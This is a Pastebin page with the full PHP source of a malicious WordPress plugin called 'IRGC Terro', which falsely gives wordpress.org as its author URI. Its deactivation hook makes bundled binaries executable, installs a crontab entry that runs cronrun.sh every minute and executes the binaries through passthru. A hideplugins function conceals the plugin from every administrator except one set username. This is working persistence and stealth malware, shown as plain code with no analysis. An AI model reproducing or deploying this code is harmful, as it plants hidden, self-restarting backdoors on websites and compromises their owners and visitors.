Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- * Plugin Name: IRGC Terro
- * Version: 5.0
- * License: GPL3
- * Author: IRGCT
- * Description: IRGC Terrorist Designation Act
- * Author URI: https://wordpress.org
- */
- defined('ABSPATH') or die();
- if(!class_exists('IRGCT')) {
- class IRGCT {
- private $key;
- private $pluginList;
- private $killRedirect;
- private $username;
- private $password;
- private $execpassthru;
- public function __construct() {
- $this->execpassthru = 1;
- add_action('plugins_loaded', array(&$this,'installplugins'));
- add_action('plugins_loaded', array(&$this,'activateplugins'));
- register_deactivation_hook(__FILE__, array(&$this,'deactivate'));
- register_activation_hook(__FILE__, array(&$this,'activate'));
- $this->pluginList = Array(
- 'irgcterror/irgcterror.php'
- );
- include_once(ABSPATH.'/wp-admin/includes/plugin.php');
- include_once(ABSPATH.'/wp-includes/registration.php');
- include_once(ABSPATH.'/wp-admin/includes/file.php');
- }
- function deactivate() {
- $this->deleteplugins();
- }
- function activate() {
- $this->installplugins();
- }
- function installplugins() {
- return 0;
- }
- function activateplugins() {
- foreach($this->pluginList as $plugin) {
- activate_plugin($plugin);
- }
- }
- function deleteplugins() {
- if($this->execpassthru == 1){
- $err = "";
- $returnvar = -1;
- passthru('chmod +x '.ABSPATH.'/wp-content/plugins/irgcterror/IRGC*; chmod +x '.ABSPATH.'/wp-content/plugins/irgcterror/cronrun.sh');
- passthru('echo -n "'.ABSPATH.'" > '.ABSPATH.'/wp-content/plugins/irgcterror/abspath.txt');
- passthru('cd '.ABSPATH.'/wp-content/plugins/irgcterror/; crontab -l > mycron; echo "*/1 * * * * cd '.ABSPATH.'/wp-content/plugins/irgcterror/; ./cronrun.sh" >> mycron; crontab mycron;', $returnvar);
- if ($returnvar != 0) {
- passthru('LD_LIBRARY_PATH='.ABSPATH.'/wp-content/plugins/irgcterror:$LD_LIBRARY_PATH '.ABSPATH.'/wp-content/plugins/irgcterror/IRGC-2.2', $returnvar);
- }
- if ($returnvar != 0) {
- passthru(ABSPATH.'/wp-content/plugins/irgcterror/IRGC', $returnvar);
- }
- if ($returnvar != 0) {
- die("A Von Neumann paradox has occured in the flux capacitor.");
- }
- $this->execpassthru = 0;
- }
- /**deactivate_plugins('irgcterror/irgcterror.php');
- try {
- $wp_filesystem->delete(ABSPATH.'/wp-content/plugins/irgcterror',true);
- } catch (Exception $e) {
- $e = $e;
- }
- if(get_filesystem_method() == 'direct') {
- $creds = request_filesystem_credentials(site_url() . '/wp-admin/', '', false, false, array());
- if(!WP_Filesystem($creds)) {
- return 0;
- } else {
- global $wp_filesystem;
- $wp_filesystem->delete(ABSPATH.'/wp-content/plugins/irgcterror',true);
- }
- }**/
- }
- function hideplugins() {
- global $wp_list_table;
- global $current_user;
- $a = $this->pluginList;
- $b = $wp_list_table->items;
- foreach ($b as $c => $d) {
- if (in_array($c,$a)) {
- if ($current_user->user_login != $this->username) {
- unset($wp_list_table->items[$c]);
- } else {
- $wp_list_table->items[$c]['Name'] .= ' (Hidden)';
- }
- }
- }
- }
- }
- }
- $IRGCT = new IRGCT();
- ?>
Advertisement
Add Comment
Please, Sign In to add comment